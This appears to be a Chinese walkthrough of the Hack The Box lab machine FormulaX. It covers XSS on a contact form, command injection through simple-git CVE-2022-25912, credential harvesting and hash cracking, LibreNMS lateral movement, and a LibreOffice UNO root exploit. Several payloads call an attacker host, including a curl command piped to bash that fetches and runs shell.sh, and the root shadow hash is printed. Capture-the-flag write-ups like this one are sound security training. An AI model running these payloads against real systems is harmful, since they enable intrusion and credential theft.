基本信息
- https://app.hackthebox.com/machines/FormulaX
- 10.10.11.6
端口扫描
22和80:
1 | nmap -sC -sV 10.10.11.6 |
80
随意注册登录,一个Chatbot:
Chatbot
测试chat回复说功能不可用,使用给出的help可以看到history,使用history可以看到之前的消息 :
chat.js
直接查看代码也可以看到相关路由请求信息:
xss
实际上是在contact那里xss,没有任何过滤,任意参数都可以:
1 | <img src=x onerror="with(top)body.appendChild (createElement('script')).src='http://10.10.16.5/test'"> |
messages
现在有xss,前面看到history可以看历史消息,那就尝试去获取bot的历史消息,直接基于前面看到的chat.js的代码做修改,因为用到了axios和socket,所以我们的xss也导入相应代码:
1 | {"first_name":"<img src=x onerror=\"with(top)body.appendChild (createElement('script')).src='/scripts/axios.min.js'\">","last_name":"<img src=x onerror=\"with(top)body.appendChild (createElement('script')).src='/socket.io/socket.io.js'\">","message":"<img src=x onerror=\"with(top)body.appendChild (createElement('script')).src='http://10.10.16.5/test.js'\">"} |
得到的历史消息中得到了一个子域名:
1 | Greetings!. How can i help you today ?. You can type help to see some buildin commands |
test.js
1 | let value; |
dev-git-auto-update
历史消息中得到的子域名添加hosts后访问:
1 | 10.10.11.6 dev-git-auto-update.chatbot.htb |
可以看到是simple-git v3.14:
simple-git
搜索可以发现相关漏洞:
- Remote Code Execution (RCE) in simple-git | CVE-2022-25912 | Snyk
https://security.snyk.io/vuln/SNYK-JS-SIMPLEGIT-3112221
页面上就一个功能是clone destinationUrl参数,简单修改命令测试:
1 | {"destinationUrl":"ext::sh -c curl% http://10.10.16.5/test"} |
shell
那就可以直接打shell了:
1 | {"destinationUrl":"ext::sh -c curl% http://10.10.16.5/shell.sh|bash >&2"} |
打到www-data:
信息
mongo
常规翻文件,得到mongo密码
1 | cat /var/www/app/.env |
但实际上直接在shell里本地运行mongo不需要密码,其中得到几条hash:
1 | mongo |
可以破解出frank_dorky密码:
1 | sudo john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt |
user flag
frank_dorky用户ssh登录:
librenms
本地3000端口,转发出来查看:
1 | $ ssh frank_dorky@10.10.11.6 -L 3000:127.0.0.1:3000 |
是librenms,需要登录:
已有的frank_dorky账号密码可以登录:
rce to kai_relay
预期应该是用过这个来打:
- Unauthenticated, Stored XSS to RCE via SNMP Trap vulnerability found in librenms
https://huntr.com/bounties/0c24bb60-4a8f-454f-9534-ba21b7470b55/
非预期 kai_relay
/opt/librenms目录虽然frank_dorky用户不能直接查看,但可以直接去读里面的文件,虽然env文件不是默认的,但从其他php文件中可以得到env文件路径:
1 | frank_dorky@formulax:~$ cat /opt/librenms/bootstrap/app.php | grep env |
这样就得到kai_relay密码了,直接切过去即可
非预期 其他
python有抓包权限
1 | cap_net_raw=eip |
直接监听本地端口获取管理员cookie然后登录
- How to Use Scapy – Python Networking Tool Explained
https://www.freecodecamp.org/news/how-to-use-scapy-python-networking/
也可以直接用librenms本身的文件添加管理员:
1 | ./adduser.php <username> <pwd> <email> 10 |
然后管理员可以任意修改设置
- 进入设置并更改二进制位置,这会给你 shell 作为 librenms,然后你在环境变量中找到 kai_relay 的信用
- 将所有二进制文件更改为您的 rev shell,然后尝试添加设备或其他东西,以便它运行二进制文件
- http://127.0.0.1:3000/settings/external/binaries
管理员也可以修改alert模板执行php代码来获取shell
提权信息
kai_relay可以sudo运行一个office.sh,看内容就是开一个端口接受输入进行处理:
搜索可以发现:
- Apache UNO / LibreOffice Version: 6.1.2 / OpenOffice 4.1.6 API - Remote Code Execution - Multiple remote Exploit
https://www.exploit-db.com/exploits/46544
提权 & root flag
所以就是开启服务后打exp:
1 | sudo /usr/bin/office.sh |
两个终端操作,一个终端开服务,另一个打exp:
exp.py
1 | import uno |
shadow
1 | root:$y$j9T$/lSSkn2dpkUFYRVCTUSn5.$XhIP3.CfCv2pusU6c4TPVgRsCedfulJNgnBbPfWXLO8:19752:0:99999:7::: |
参考资料
- Remote Code Execution (RCE) in simple-git | CVE-2022-25912 | Snyk
https://security.snyk.io/vuln/SNYK-JS-SIMPLEGIT-3112221 - Unauthenticated, Stored XSS to RCE via SNMP Trap vulnerability found in librenms
https://huntr.com/bounties/0c24bb60-4a8f-454f-9534-ba21b7470b55/ - How to Use Scapy – Python Networking Tool Explained
https://www.freecodecamp.org/news/how-to-use-scapy-python-networking/